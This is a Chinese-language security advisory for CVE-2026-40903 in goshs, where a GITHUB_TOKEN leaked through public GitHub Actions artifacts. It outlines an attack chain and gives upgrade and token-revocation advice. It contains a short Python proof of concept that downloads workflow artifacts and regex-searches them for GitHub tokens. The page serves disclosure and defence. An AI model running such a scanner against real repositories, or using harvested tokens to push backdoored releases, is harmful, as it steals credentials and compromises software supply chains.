IPBUF安全漏洞报告
English
CVE-2026-40903 CVSS 9.1 严重

CVE-2026-40903 goshs ArtiPACKED漏洞致Token泄露

披露日期: 2026-04-21

漏洞信息

漏洞编号
CVE-2026-40903
漏洞类型
信息泄露
CVSS评分
9.1 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
goshs

相关标签

信息泄露goshsGitHub ActionsArtiPACKEDToken泄露CI/CD安全

漏洞概述

goshs是一款用Go语言编写的SimpleHTTPServer。在2.0.0-beta.6版本之前,该软件存在ArtiPACKED漏洞。该漏洞可导致GITHUB_TOKEN通过GitHub Actions的工作流产物泄露,尽管该Token并未直接存储在源代码仓库中。攻击者可利用泄露的Token获取仓库权限,对供应链安全构成严重威胁。该问题已在2.0.0-beta.6版本中修复。

技术细节

该漏洞核心在于GitHub Actions工作流的产物安全配置问题(ArtiPACKED)。在goshs项目的CI/CD流程中,GitHub自动注入的GITHUB_TOKEN被意外打包进了工作流产物并上传。由于Token具有仓库操作权限,攻击者无需任何认证即可通过网络下载这些公开的产物文件。通过解析产物内容,攻击者能够提取出有效的GITHUB_TOKEN。利用该Token,攻击者可以冒充CI系统提交代码、发布恶意Release或篡改仓库设置,从而实现完整性和机密性的破坏。CVSS评分9.1,反映了其极高的利用价值和潜在危害。

攻击链分析

STEP 1
侦察
攻击者识别出目标项目使用GitHub Actions进行构建,并检查工作流配置是否存在ArtiPACKED风险。
STEP 2
获取产物
攻击者无需认证,直接访问GitHub Actions的运行页面,下载公开的工作流构建产物。
STEP 3
提取Token
解压下载的产物文件,搜索其中的日志文件或配置文件,查找泄露的GITHUB_TOKEN。
STEP 4
利用Token
使用获取到的具有写权限的Token,向仓库提交恶意代码或发布包含后门的Release版本。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ PoC for CVE-2026-40903 (ArtiPACKED) This script demonstrates how a leaked token might be found in workflow artifacts. Note: This is a conceptual simulation as the specific artifact URL depends on the target repo context. """ import requests import zipfile import io import re # Simulated artifact URL (In a real scenario, this would be a specific GitHub Actions artifact URL) ARTIFACT_URL = "https://github.com/patrickhener/goshs/suites/1234567890/artifacts/123456" GITHUB_TOKEN_PATTERN = re.compile(r"ghp_[a-zA-Z0-9]{36}") def check_artifact_for_token(url): print(f"[*] Attempting to download artifact from: {url}") try: # In a real attack, no authentication is needed if artifacts are public response = requests.get(url) if response.status_code == 200: print("[+] Artifact downloaded successfully.") # Assuming the artifact is a zip file with zipfile.ZipFile(io.BytesIO(response.content)) as z: for filename in z.namelist(): print(f"[*] Checking file: {filename}") with z.open(filename) as f: content = f.read().decode('utf-8', errors='ignore') matches = GITHUB_TOKEN_PATTERN.findall(content) if matches: print(f"[!] CRITICAL: Found potential GitHub Token in {filename}: {matches}") return True print("[-] No tokens found in this artifact.") else: print(f"[-] Failed to download artifact. Status code: {response.status_code}") except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": check_artifact_for_token(ARTIFACT_URL)

影响范围

goshs < 2.0.0-beta.6

防御指南

临时缓解措施
建议立即检查相关GitHub Actions的产物配置,确保敏感Token未被意外打包。对于受影响的版本,应尽快升级到修复版本2.0.0-beta.6,并撤销可能已经泄露的Token密钥。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表